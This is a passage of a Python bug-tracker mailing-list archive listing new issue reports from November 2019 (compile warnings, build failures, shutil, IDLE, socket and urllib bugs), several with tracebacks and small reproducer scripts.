New submission from Mithil <mithil467 at gmail.com>:

pytime.h compilation gives warnings - 

pytime.h:123:59: warning: 'struct timeval' declared inside parameter list will not be visible outside of this definition or declaration
 PyAPI_FUNC(int) _PyTime_FromTimeval(_PyTime_t *tp, struct timeval *tv);
                                                           ^~~~~~~
pytime.h:130:12: warning: 'struct timeval' declared inside parameter list will not be visible outside of this definition or declaration
     struct timeval *tv,
            ^~~~~~~
pytime.h:135:12: warning: 'struct timeval' declared inside parameter list will not be visible outside of this definition or declaration
     struct timeval *tv,

=====

I think the reason for this is that the struct timeval isn't declared anywhere before the declaration of this function. For me on windows, the structure is defined inside of winsock.h and including it before the other python header files fixes the problem.

----------
components: Windows
messages: 355932
nosy: Mithil, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: struct timeval is not declared
type: compile error
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38682>
_______________________________________

From report at bugs.python.org  Mon Nov  4 06:02:56 2019
From: report at bugs.python.org (=?utf-8?q?Benedek_R=C3=A1cz?=)
Date: Mon, 04 Nov 2019 11:02:56 +0000
Subject: [New-bugs-announce] [issue38683] Installation failed - no
 privileges to access directory
Message-ID: <1572865376.09.0.193791469521.issue38683@roundup.psfhosted.org>


New submission from Benedek R?cz <betontalpfa at gmail.com>:

Python installation failed when I try to install to system dir on Windows 10. (C:\Program Files\Python37)

**Reproduce**

I have downloaded the installer, and I have changed the install location to `C:\Program Files\Python37`. Then I get the attached error.

**Expected behavior**

Not to crash, ask for administrator privileges. If its needed.

**I use:**
 - Win 10 Pro
 - Version 10.0.18362 Build 18362
 - Python 3.7.5 (https://www.python.org/ftp/python/3.7.5/python-3.7.5-amd64.exe)

----------
components: Installation
files: pythonInstallFail.PNG
messages: 355935
nosy: Benedek R?cz
priority: normal
severity: normal
status: open
title: Installation failed - no privileges to access directory
type: crash
versions: Python 3.7
Added file: https://bugs.python.org/file48694/pythonInstallFail.PNG

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38683>
_______________________________________

From report at bugs.python.org  Mon Nov  4 07:24:10 2019
From: report at bugs.python.org (Alexandru Ardelean)
Date: Mon, 04 Nov 2019 12:24:10 +0000
Subject: [New-bugs-announce] [issue38684] hashlib: build fails when blake2
 is disabled in OpenSSL
Message-ID: <1572870250.89.0.269143912742.issue38684@roundup.psfhosted.org>


New submission from Alexandru Ardelean <ardeleanalex at gmail.com>:

This was caught via OpenWrt's build, when upgrading to 3.8.
By default, Blake2 is not enabled in OpenWrt's OpenSSL.
Not sure if this is an issue in OpenSSL or Python or both.

After digging through the _hashopenssl.c, it seems that the check for Blake2 being enabled/present in OpenSSL is not consistent with how OpenSSL does it.

The build error is:

86_64-openwrt-linux-musl-gcc -shared -L/home/sandu/work/openwrt/openwrt/staging_dir/target-x86_64_musl/usr/lib -L/home/sandu/work/openwrt/openwrt/staging_dir/target-x86_64_musl/lib -L/home/sandu/work/openwrt/openwrt/staging_dir/toolchain-x86_64_gcc-8.3.0_musl/usr/lib -L/home/sandu/work/openwrt/openwrt/staging_dir/toolchain-x86_64_gcc-8.3.0_musl/lib -znow -zrelro -L/home/sandu/work/openwrt/openwrt/build_dir/target-x86_64_musl/Python-3.8.0 -L/home/sandu/work/openwrt/openwrt/staging_dir/target-x86_64_musl/usr/lib -L/home/sandu/work/openwrt/openwrt/staging_dir/target-x86_64_musl/lib -L/home/sandu/work/openwrt/openwrt/staging_dir/toolchain-x86_64_gcc-8.3.0_musl/usr/lib -L/home/sandu/work/openwrt/openwrt/staging_dir/toolchain-x86_64_gcc-8.3.0_musl/lib -znow -zrelro -L/home/sandu/work/openwrt/openwrt/build_dir/target-x86_64_musl/Python-3.8.0 -L/home/sandu/work/openwrt/openwrt/staging_dir/target-x86_64_musl/usr/lib -L/home/sandu/work/openwrt/openwrt/staging_dir/target-x86_64_musl/lib -L/home/sandu/work/openwrt/openwrt/staging_dir/toolchain-x86_64_gcc-8.3.0_musl/usr/lib -L/home/sandu/work/openwrt/openwrt/staging_dir/toolchain-x86_64_gcc-8.3.0_musl/lib -znow -zrelro -L/home/sandu/work/openwrt/openwrt/build_dir/target-x86_64_musl/Python-3.8.0 -Os -pipe -fno-caller-saves -fno-plt -fhonour-copts -Wno-error=unused-but-set-variable -Wno-error=unused-result -ffile-prefix-map=/home/sandu/work/openwrt/openwrt/build_dir/target-x86_64_musl/Python-3.8.0=Python-3.8.0 -Wformat -Werror=format-security -fstack-protector -D_FORTIFY_SOURCE=1 -Wl,-z,now -Wl,-z,relro -DNDEBUG -fno-inline -I/home/sandu/work/openwrt/openwrt/staging_dir/target-x86_64_musl/usr/include -I/home/sandu/work/openwrt/openwrt/staging_dir/toolchain-x86_64_gcc-8.3.0_musl/usr/include -I/home/sandu/work/openwrt/openwrt/staging_dir/toolchain-x86_64_gcc-8.3.0_musl/include/fortify -I/home/sandu/work/openwrt/openwrt/staging_dir/toolchain-x86_64_gcc-8.3.0_musl/include build/temp.linux2-3.8/home/sandu/work/openwrt/openwrt/build_dir/target-x86_64_musl/Python-3.8.0/Modules/_curses_panel.o -L. -L/home/sandu/work/openwrt/openwrt/staging_dir/target-x86_64_musl/usr/lib -L/home/sandu/work/openwrt/openwrt/staging_dir/target-x86_64_musl/lib -L/home/sandu/work/openwrt/openwrt/staging_dir/toolchain-x86_64_gcc-8.3.0_musl/usr/lib -L/home/sandu/work/openwrt/openwrt/staging_dir/toolchain-x86_64_gcc-8.3.0_musl/lib -L/home/sandu/work/openwrt/openwrt/build_dir/target-x86_64_musl/Python-3.8.0 -L/home/sandu/work/openwrt/openwrt/staging_dir/toolchain-x86_64_gcc-8.3.0_musl/x86_64-openwrt-linux-musl/lib -lpanelw -lncursesw -o build/lib.linux2-3.8/_curses_panel.cpython-38.so
/home/sandu/work/openwrt/openwrt/build_dir/target-x86_64_musl/Python-3.8.0/Modules/_hashopenssl.c: In function 'py_digest_by_name':
/home/sandu/work/openwrt/openwrt/build_dir/target-x86_64_musl/Python-3.8.0/Modules/_hashopenssl.c:220:22: error: implicit declaration of function 'EVP_blake2s256'; did you mean 'SN_blake2s256'? [-Werror=implicit-function-declaration]
             digest = EVP_blake2s256();
                      ^~~~~~~~~~~~~~
                      SN_blake2s256
/home/sandu/work/openwrt/openwrt/build_dir/target-x86_64_musl/Python-3.8.0/Modules/_hashopenssl.c:220:20: warning: assignment to 'const EVP_MD *' {aka 'const struct evp_md_st *'} from 'int' makes pointer from integer without a cast [-Wint-conversion]
             digest = EVP_blake2s256();
                    ^
/home/sandu/work/openwrt/openwrt/build_dir/target-x86_64_musl/Python-3.8.0/Modules/_hashopenssl.c:223:22: error: implicit declaration of function 'EVP_blake2b512'; did you mean 'LN_blake2b512'? [-Werror=implicit-function-declaration]
             digest = EVP_blake2b512();
                      ^~~~~~~~~~~~~~
                      LN_blake2b512
/home/sandu/work/openwrt/openwrt/build_dir/target-x86_64_musl/Python-3.8.0/Modules/_hashopenssl.c:223:20: warning: assignment to 'const EVP_MD *' {aka 'const struct evp_md_st *'} from 'int' makes pointer from integer without a cast [-Wint-conversion]
             digest = EVP_blake2b512();
                    ^

----------
assignee: christian.heimes
components: Build, SSL
messages: 355940
nosy: Alexandru Ardelean, christian.heimes
priority: normal
severity: normal
status: open
title: hashlib: build fails when blake2 is disabled in OpenSSL
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38684>
_______________________________________

From report at bugs.python.org  Mon Nov  4 08:02:45 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Mon, 04 Nov 2019 13:02:45 +0000
Subject: [New-bugs-announce] [issue38685] can't create a venv with a dash in
 the name
Message-ID: <1572872565.71.0.957750113607.issue38685@roundup.psfhosted.org>


New submission from St?phane Wirtel <stephane at wirtel.be>:

I tried to create a venv via python -m venv 

here are the commands:

> python --version
Python 3.8.0

> python -m venv ~/.virtualenvs/test-proftpd
Error: [Errno 40] Too many levels of symbolic links: '/home/stephane/.virtualenvs/test-proftpd/bin/python'
Fail with a dash.

> python -m venv ~/.virtualenvs/test_proftpd
Work fine with an underscore

----------
messages: 355941
nosy: matrixise
priority: normal
severity: normal
status: open
title: can't create a venv with a dash in the name
versions: Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38685>
_______________________________________

From report at bugs.python.org  Mon Nov  4 10:27:24 2019
From: report at bugs.python.org (PypeBros)
Date: Mon, 04 Nov 2019 15:27:24 +0000
Subject: [New-bugs-announce] [issue38686] WWW-Authenticate qop="auth,
 auth-int" rejected by urllib
Message-ID: <1572881244.97.0.30421713667.issue38686@roundup.psfhosted.org>


New submission from PypeBros <pype_1999.geo at yahoo.com>:

in urllib/request.py, 
   when trying to use HTTP Digest Authentication 
   with a server that replies with `WWW-Authenticate: Digest` 
   where `qop="auth,auth-int"` rather than mere `qop="auth"`

the connection fails to establish with a "qop 'auth,auth-int' is not supported" error message.

`qop="auth,auth-int" should imho be accepted according to the `qop-options` rule in ?3.2.1 of https://www.ietf.org/rfc/rfc2617.txt, given that 'auth' is supported by urllib/request.py

----------
messages: 355952
nosy: PypeBros
priority: normal
severity: normal
status: open
title: WWW-Authenticate qop="auth,auth-int" rejected by urllib
versions: Python 2.7, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38686>
_______________________________________

From report at bugs.python.org  Mon Nov  4 14:11:19 2019
From: report at bugs.python.org (Callum Attryde)
Date: Mon, 04 Nov 2019 19:11:19 +0000
Subject: [New-bugs-announce] [issue38687] Expose 'adler32_combine' function
 from zlib
Message-ID: <1572894679.78.0.661181001635.issue38687@roundup.psfhosted.org>


New submission from Callum Attryde <callumattryde at gmail.com>:

zlib contains a function for combining Adler32 checksums which is not currently exposed by the Python module. This enhancement adds that function to Python

----------
components: Extension Modules
messages: 355977
nosy: callumattryde
priority: normal
severity: normal
status: open
title: Expose 'adler32_combine' function from zlib
type: enhancement
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38687>
_______________________________________

From report at bugs.python.org  Mon Nov  4 16:21:38 2019
From: report at bugs.python.org (Christian Boltz)
Date: Mon, 04 Nov 2019 21:21:38 +0000
Subject: [New-bugs-announce] [issue38688] Python 3.8 regression: endless
 loop in shutil.copytree
Message-ID: <1572902498.64.0.957640730326.issue38688@roundup.psfhosted.org>


New submission from Christian Boltz <python-bugs at cboltz.de>:

The following test script works with Python 3.7 (and older), but triggers an endless loop with Python 3.8:


#!/usr/bin/python3

import shutil
import os

os.mkdir('/dev/shm/t')
os.mkdir('/dev/shm/t/pg')

with open('/dev/shm/t/pg/pol', 'w+') as f:
    f.write('pol')

shutil.copytree('/dev/shm/t/pg', '/dev/shm/t/pg/somevendor/1.0')


The important point is probably that 'pg' gets copied into a subdirectory of itsself. While this worked in Python up to 3.7, doing the same in Python 3.8 runs into an endless loop:

# python3 /home/abuild/rpmbuild/SOURCES/test.py
Traceback (most recent call last):
  File "/home/abuild/rpmbuild/SOURCES/test.py", line 15, in <module> 
    shutil.copytree('/dev/shm/t/pg', '/dev/shm/t/pg/somevendor/1.0')
  File "/usr/lib/python3.8/shutil.py", line 547, in copytree 
    return _copytree(entries=entries, src=src, dst=dst, symlinks=symlinks,
  File "/usr/lib/python3.8/shutil.py", line 486, in _copytree
    copytree(srcobj, dstname, symlinks, ignore, copy_function,
...
    copytree(srcobj, dstname, symlinks, ignore, copy_function,
  File "/usr/lib/python3.8/shutil.py", line 547, in copytree 
    return _copytree(entries=entries, src=src, dst=dst, symlinks=symlinks,
  File "/usr/lib/python3.8/shutil.py", line 449, in _copytree
    os.makedirs(dst, exist_ok=dirs_exist_ok)
  File "/usr/lib/python3.8/os.py", line 206, in makedirs 
    head, tail = path.split(name)
  File "/usr/lib/python3.8/posixpath.py", line 104, in split 
    sep = _get_sep(p)
  File "/usr/lib/python3.8/posixpath.py", line 42, in _get_sep 
    if isinstance(path, bytes):
RecursionError: maximum recursion depth exceeded while calling a Python object

I also reported this at https://bugzilla.opensuse.org/show_bug.cgi?id=1155839

----------
components: Library (Lib)
messages: 355981
nosy: cboltz
priority: normal
severity: normal
status: open
title: Python 3.8 regression: endless loop in shutil.copytree
type: crash
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38688>
_______________________________________

From report at bugs.python.org  Mon Nov  4 18:45:56 2019
From: report at bugs.python.org (Dan Snider)
Date: Mon, 04 Nov 2019 23:45:56 +0000
Subject: [New-bugs-announce] [issue38689] IDLE crashes when KeyError is
 raised during calltip generation
Message-ID: <1572911156.46.0.933839006151.issue38689@roundup.psfhosted.org>


New submission from Dan Snider <mr.assume.away at gmail.com>:

When the following program has been input (into 32 bit 3.8.0 Python running on windows 10), all IDLE processes and windows will immediately and irrevocably hang the instant the open parentheses at the end of the statement "Object(" is rendered.

However that's just my 90% sure guess of the cause, based on 
 how when the regular dict from this example is swapped with one that raises AttributeError instead of KeyError, a crash no longer occurs. Quite perplexing, seeing as neither exception is handled in get_argspec.

>>> if 1:
    from idlelib.calltip import get_argspec
    class Type(type):
        __class__ = property((__class__:={}).__getitem__,__class__.__setitem__)
    class Object(metaclass=Type):
        __slots__ = '__class__'
    get_argspec(Object)

    
Traceback (most recent call last):
  File "<pyshell#41>", line 7, in <module>
    get_argspec(Object)
  File "C:\Python38\lib\idlelib\calltip.py", line 141, in get_argspec
    argspec = str(inspect.signature(fob))
  File "C:\Python38\lib\inspect.py", line 3093, in signature
    return Signature.from_callable(obj, follow_wrapped=follow_wrapped)
  File "C:\Python38\lib\inspect.py", line 2842, in from_callable
    return _signature_from_callable(obj, sigcls=cls,
  File "C:\Python38\lib\inspect.py", line 2218, in _signature_from_callable
    if isinstance(obj, types.MethodType):
KeyError: <class '__main__.Object'>

----------
assignee: terry.reedy
components: IDLE
messages: 355983
nosy: bup, terry.reedy
priority: normal
severity: normal
status: open
title: IDLE crashes when KeyError is raised during calltip generation
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38689>
_______________________________________

From report at bugs.python.org  Mon Nov  4 19:04:16 2019
From: report at bugs.python.org (jason gors)
Date: Tue, 05 Nov 2019 00:04:16 +0000
Subject: [New-bugs-announce] [issue38690] Command line option with &/or
 without a space results in the same outcome
Message-ID: <1572912256.03.0.374020363309.issue38690@roundup.psfhosted.org>


New submission from jason gors <jason.gors at gmail.com>:

The syntax in the Command line documentation was unexpected regarding the `-m` option (specifically `python -mtimeit`) [0].  Showing this:

```
python -mtimeit "range(100)"
# behaving equivalent to this:
python -m timeit "range(100)"
```

This led me to discover many cases where command line arguments are like this in python (e.g. the call working correctly without a space between an argument flag and what is being passed into the command).  Like this:

```
python -c"print('Hi')"
# behaving the same as:
python -c "print('Hi')"
```

This is also the case with pip as well:

```
pip install -rrequirements.txt 
# behaving exactly like:
pip install -r requirements.txt
```

However, when I think of the *nix commands, like `rm`, this behavior fails.  When you want to pass several flags at once, you can either list them separately (e.g. `rm -f -i myfile.py`) or concatenate them together (e.g. `rm -fi myfile.py`), but `rm` fails if you try calling it without a space between the argument(s) and the file to be removed (e.g.`rm -fimyfile.py`).

I'm not sure whether this command line behavior in python is intentional, but it's not obvious as to why this is the case.

[0] https://docs.python.org/3/using/cmdline.html#cmdoption-m

----------
components: Library (Lib)
messages: 355985
nosy: jgors
priority: normal
severity: normal
status: open
title: Command line option with &/or without a space results in the same outcome
type: behavior
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38690>
_______________________________________

From report at bugs.python.org  Mon Nov  4 20:55:56 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 05 Nov 2019 01:55:56 +0000
Subject: [New-bugs-announce] [issue38691] importlib: PYTHONCASEOK should be
 ignored when using python3 -E
Message-ID: <1572918956.02.0.914904783167.issue38691@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at python.org>:

When using python3 -E or python3 -I, PYTHONCASEOK environment variable should be ignored by importlib. See an email sent in 2012:
https://mail.python.org/pipermail/python-dev/2012-December/123403.html

See importlib._bootstrap_external._relax_case attribute and its _make_relax_case() function.

----------
components: Library (Lib)
messages: 355996
nosy: vstinner
priority: normal
severity: normal
status: open
title: importlib: PYTHONCASEOK should be ignored when using python3 -E
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38691>
_______________________________________

From report at bugs.python.org  Tue Nov  5 00:43:04 2019
From: report at bugs.python.org (Benjamin Peterson)
Date: Tue, 05 Nov 2019 05:43:04 +0000
Subject: [New-bugs-announce] [issue38692] add a pidfd child process watcher
Message-ID: <1572932584.65.0.943486856043.issue38692@roundup.psfhosted.org>


New submission from Benjamin Peterson <benjamin at python.org>:

Recent versions of Linux has built out support for pidfd, a way to do process management with file descriptors. I wanted to try it out, so implemented a pidfd-based child watcher for asyncio.

My WIP progress patch is attached. It passes all asyncio tests.

----------
components: asyncio
files: 0001-asyncio-Add-a-pidfd-child-process-watcher.patch
keywords: patch
messages: 356001
nosy: asvetlov, benjamin.peterson, yselivanov
priority: normal
severity: normal
status: open
title: add a pidfd child process watcher
type: enhancement
versions: Python 3.9
Added file: https://bugs.python.org/file48695/0001-asyncio-Add-a-pidfd-child-process-watcher.patch

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38692>
_______________________________________

From report at bugs.python.org  Tue Nov  5 01:20:17 2019
From: report at bugs.python.org (Gregory P. Smith)
Date: Tue, 05 Nov 2019 06:20:17 +0000
Subject: [New-bugs-announce] [issue38693] Use f-strings instead of
 str.format within importlib
Message-ID: <1572934817.34.0.695862725726.issue38693@roundup.psfhosted.org>


New submission from Gregory P. Smith <greg at krypto.org>:

importlib is full of str.format calls, modernizing it to use f-strings is a slight performance win and much more readable.

----------
assignee: gregory.p.smith
messages: 356005
nosy: gregory.p.smith
priority: normal
severity: normal
status: open
title: Use f-strings instead of str.format within importlib
type: performance
versions: Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38693>
_______________________________________

From report at bugs.python.org  Tue Nov  5 02:04:46 2019
From: report at bugs.python.org (Dong-hee Na)
Date: Tue, 05 Nov 2019 07:04:46 +0000
Subject: [New-bugs-announce] [issue38694] docs.python.org does not switch
 version properly
Message-ID: <1572937486.73.0.254978147517.issue38694@roundup.psfhosted.org>


New submission from Dong-hee Na <donghee.na92 at gmail.com>:

1. open https://docs.python.org/3.8/whatsnew/3.8.html
2. choose dev (3.9)
3. 3.9 whats news should be shown but still showing 3.8

----------
assignee: docs at python
components: Documentation
messages: 356006
nosy: corona10, docs at python
priority: normal
severity: normal
status: open
title: docs.python.org does not switch version properly
type: behavior

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38694>
_______________________________________

From report at bugs.python.org  Tue Nov  5 02:39:37 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Tue, 05 Nov 2019 07:39:37 +0000
Subject: [New-bugs-announce] [issue38695] IDLE should restart instead of
 hanging when subprocess exits
Message-ID: <1572939577.48.0.797512840286.issue38695@roundup.psfhosted.org>


New submission from Terry J. Reedy <tjreedy at udel.edu>:

This is a spinoff from #38689, about 'strange_callable(' in Shell hanging, because there is an uncaught exception is the run process.  (See issue for 'strange_callable'.)  Running IDLE from Windows Command Prompt, Windows eventually shows the circle cursor.  Clicking on the window turns it gray and trying to close it by clicking 'X' brings up 'Python is not responding' with options to Wait, Close, or Try to Restore.  I have seen this before with other code.

Restore results in the GUI process RESTARTing a run process and the following in the console.

Exception in Tkinter callback
Traceback (most recent call last):
  File "f:\dev\3x\lib\idlelib\rpc.py", line 359, in pollpacket
    s = self.sock.recv(BUFSIZE)
ConnectionResetError: [WinError 10054] An existing connection was forcibly closed by the remote host

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "f:\dev\3x\lib\idlelib\rpc.py", line 432, in pollresponse
    message = self.pollmessage(wait)
  File "f:\dev\3x\lib\idlelib\rpc.py", line 384, in pollmessage
    packet = self.pollpacket(wait)
  File "f:\dev\3x\lib\idlelib\rpc.py", line 361, in pollpacket
    raise EOFError
EOFError

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "f:\dev\3x\lib\tkinter\__init__.py", line 1885, in __call__
    return self.func(*args)
  File "f:\dev\3x\lib\idlelib\multicall.py", line 176, in handler
    r = l[i](event)
  File "f:\dev\3x\lib\idlelib\calltip.py", line 51, in try_open_calltip_event
    self.open_calltip(False)
  File "f:\dev\3x\lib\idlelib\calltip.py", line 70, in open_calltip
    argspec = self.fetch_tip(expression)
  File "f:\dev\3x\lib\idlelib\calltip.py", line 95, in fetch_tip
    return rpcclt.remotecall("exec", "get_the_calltip",
  File "f:\dev\3x\lib\idlelib\rpc.py", line 219, in remotecall
    return self.asyncreturn(seq)
  File "f:\dev\3x\lib\idlelib\rpc.py", line 248, in asyncreturn
    response = self.getresponse(seq, wait=0.05)
  File "f:\dev\3x\lib\idlelib\rpc.py", line 291, in getresponse
    response = self._getresponse(myseq, wait)
  File "f:\dev\3x\lib\idlelib\rpc.py", line 311, in _getresponse
    response = self.pollresponse(myseq, wait)
  File "f:\dev\3x\lib\idlelib\rpc.py", line 436, in pollresponse
    self.handle_EOF()
  File "f:\dev\3x\lib\idlelib\pyshell.py", line 389, in handle_EOF
    raise EOFError
EOFError

(Close, after confirmation, results in nothing except the Windows > prompt.)

This suggests to me that the remote process running idlelib.run should have an outer try-except that catches everything and sends "I am stopping" before exiting.  The GUI process would then RESTART a new subprocess.  There are conditions under which this already happens, so it seems that the current trigger just needs to be broadened.

----------
assignee: terry.reedy
components: IDLE
messages: 356009
nosy: terry.reedy
priority: normal
severity: normal
stage: needs patch
status: open
title: IDLE should restart instead of hanging when subprocess exits
type: behavior

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38695>
_______________________________________

From report at bugs.python.org  Tue Nov  5 04:51:07 2019
From: report at bugs.python.org (Stojan Jovic)
Date: Tue, 05 Nov 2019 09:51:07 +0000
Subject: [New-bugs-announce] [issue38696] HTTP modules documentation error
Message-ID: <1572947467.69.0.110760754401.issue38696@roundup.psfhosted.org>


New submission from Stojan Jovic <condor.js at gmail.com>:

I have found error in "Usage" section of HTTP modules documentation page, specifically line:
http.HTTPStatus.OK.value
should be fixed to:
HTTPStatus.OK.value
according to the import and other usage examples.

----------
assignee: docs at python
components: Documentation
messages: 356013
nosy: docs at python, stojan.jovic
priority: normal
severity: normal
status: open
title: HTTP modules documentation error
type: resource usage
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38696>
_______________________________________

From report at bugs.python.org  Tue Nov  5 06:01:25 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 05 Nov 2019 11:01:25 +0000
Subject: [New-bugs-announce] [issue38697] test.support.find_unused_port()
 race condition: test_socket fails with OSError: [Errno 98] Address already
 in use
Message-ID: <1572951685.78.0.141334829591.issue38697@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at python.org>:

When two tests using support.find_unused_port() run in parallel, it's possible to get the same port number and so the first process using it wins, and the other one fails. Example with test_socket running in parallel of multiple many other tests.

Example of fix to avoid support.find_unused_port():

diff --git a/Lib/test/test_socket.py b/Lib/test/test_socket.py
index 1bf562a03d..4479a69943 100644
--- a/Lib/test/test_socket.py
+++ b/Lib/test/test_socket.py
@@ -6202,10 +6202,11 @@ class CreateServerFunctionalTest(unittest.TestCase):
                      "dualstack_ipv6 not supported")
     @unittest.skipUnless(support.IPV6_ENABLED, 'IPv6 required for this test')
     def test_dual_stack_client_v6(self):
-        port = support.find_unused_port()
-        with socket.create_server(("", port), family=socket.AF_INET6,
+        with socket.create_server(("", 0), family=socket.AF_INET6,
                                   dualstack_ipv6=True) as sock:
             self.echo_server(sock)
+            port = sock.getsockname()[1]
+            print("PORT", port)
             self.echo_client(("::1", port), socket.AF_INET6)


AMD64 RHEL7 Refleaks 3.8:
https://buildbot.python.org/all/#/builders/299/builds/48

0:02:32 load avg: 7.37 [132/423] test_timeout passed (56.5 sec) -- running: test_regrtest (1 min 56 sec), test_logging (1 min 17 sec), test_mailbox (1 min 39 sec), test_statistics (33.8 sec), test_socket (55.8 sec)
...
0:02:56 load avg: 8.33 [153/423] test_urllib2net passed -- running: test_regrtest (2 min 20 sec), test_logging (1 min 40 sec), test_mailbox (2 min 2 sec), test_statistics (57.4 sec), test_socket (1 min 19 sec)
...
0:03:11 load avg: 8.30 [161/423] test_asyncore passed -- running: test_logging (1 min 55 sec), test_support (33.7 sec), test_mailbox (2 min 17 sec), test_statistics (1 min 12 sec), test_socket (1 min 34 sec)
...
0:03:24 load avg: 8.01 [167/423] test_support passed (46.7 sec) -- running: test_mailbox (2 min 31 sec), test_multiprocessing_forkserver (40.2 sec), test_socket (1 min 47 sec)
...
0:03:36 load avg: 7.78 [180/423] test_docxmlrpc passed -- running: test_decimal (30.7 sec), test_mailbox (2 min 42 sec), test_multiprocessing_forkserver (52.1 sec), test_socket (1 min 59 sec)
...
0:03:39 load avg: 7.88 [184/423/1] test_socket failed (2 min 2 sec) -- running: test_decimal (33.9 sec), test_mailbox (2 min 46 sec), test_multiprocessing_forkserver (55.2 sec)
...
0:03:39 load avg: 7.88 [184/423/1] test_socket failed (2 min 2 sec) -- running: test_decimal (33.9 sec), test_mailbox (2 min 46 sec), test_multiprocessing_forkserver (55.2 sec)
beginning 6 repetitions
123456
....

Warning -- threading._dangling was modified by test_socket
  Before: {<weakref at 0x7f08b2b48830; to '_MainThread' at 0x7f08b73a8140>}
  After:  {<weakref at 0x7f08b07258f0; to 'Thread' at 0x7f08aefb6a00>, <weakref at 0x7f08b07257d0; to 'Thread' at 0x7f08aefb6b40>, <weakref at 0x7f08b07259b0; to '_MainThread' at 0x7f08b73a8140>, <weakref at 0x7f08b0725710; to 'Thread' at 0x7f08aefb6be0>} 

test test_socket failed -- Traceback (most recent call last):
  File "/home/buildbot/buildarea/3.8.cstratak-RHEL7-x86_64.refleak/build/Lib/test/test_socket.py", line 6206, in test_dual_stack_client_v6
    with socket.create_server(("", port), family=socket.AF_INET6,
  File "/home/buildbot/buildarea/3.8.cstratak-RHEL7-x86_64.refleak/build/Lib/socket.py", line 886, in create_server
    raise error(err.errno, msg) from None
OSError: [Errno 98] Address already in use (while attempting to bind on address ('', 45626))

----------
components: Tests
messages: 356022
nosy: vstinner
priority: normal
severity: normal
status: open
title: test.support.find_unused_port() race condition: test_socket fails with OSError: [Errno 98] Address already in use
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38697>
_______________________________________

From report at bugs.python.org  Tue Nov  5 08:03:28 2019
From: report at bugs.python.org (Nikita Hoffmann)
Date: Tue, 05 Nov 2019 13:03:28 +0000
Subject: [New-bugs-announce] [issue38698] While parsing email message id:
 UnboundLocalError
Message-ID: <1572959008.39.0.0407638047652.issue38698@roundup.psfhosted.org>


New submission from Nikita Hoffmann <hoffmann.nikita at gmail.com>:

Parsing an invalid email message id can throw a header parser error. A bug in parse_message_ still tries to append the unset token to a variable.

File "/opt/python-3.8.0/lib/python3.8/email/_header_value_parser.py", line 2116, in parse_message_
id
    message_id.append(token)
UnboundLocalError: local variable 'token' referenced before assignment

Version 3.7 is not affected.

----------
components: email
messages: 356030
nosy: Nikita Hoffmann, barry, r.david.murray
priority: normal
severity: normal
status: open
title: While parsing email message id: UnboundLocalError
type: crash
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38698>
_______________________________________

From report at bugs.python.org  Tue Nov  5 09:45:47 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 05 Nov 2019 14:45:47 +0000
Subject: [New-bugs-announce] [issue38699] socket: change listen() default
 backlog from 128 to 4096?
Message-ID: <1572965147.18.0.658730209941.issue38699@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at python.org>:

Currently, socket.socket.listen() called with no argument limits the default backlog to 128:

    /* We try to choose a default backlog high enough to avoid connection drops
     * for common workloads, yet not too high to limit resource usage. */
    int backlog = Py_MIN(SOMAXCONN, 128);

I just saw an article suggesting to use 4096 instead:
https://blog.cloudflare.com/syn-packet-handling-in-the-wild/

On my Fedora 30, listen() manual page says:

       The  behavior of the backlog argument on TCP sockets changed with Linux
       2.2.  Now it specifies the  queue  length  for  completely  established
       sockets  waiting  to  be  accepted, instead of the number of incomplete
       connection requests.  The maximum length of the  queue  for  incomplete
       sockets  can be set using /proc/sys/net/ipv4/tcp_max_syn_backlog.  When
       syncookies are enabled there is no logical maximum length and this set?
       ting is ignored.  See tcp(7) for more information.

       If    the   backlog   argument   is   greater   than   the   value   in
       /proc/sys/net/core/somaxconn, then it is  silently  truncated  to  that
       value;  the  default  value  in  this  file  is 128.  In kernels before
       2.4.25, this limit was a hard coded value, SOMAXCONN,  with  the  value
       128.

Python 3.8 new socket.create_server() calls sock.listen() by default: so use Py_MIN(SOMAXCONN, 128) by default.

----------
components: Library (Lib)
messages: 356037
nosy: giampaolo.rodola, vstinner
priority: normal
severity: normal
status: open
title: socket: change listen() default backlog from 128 to 4096?
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38699>
_______________________________________

From report at bugs.python.org  Tue Nov  5 10:14:56 2019
From: report at bugs.python.org (Arunkumar Mani)
Date: Tue, 05 Nov 2019 15:14:56 +0000
Subject: [New-bugs-announce] [issue38700] typo in unittest mock docs
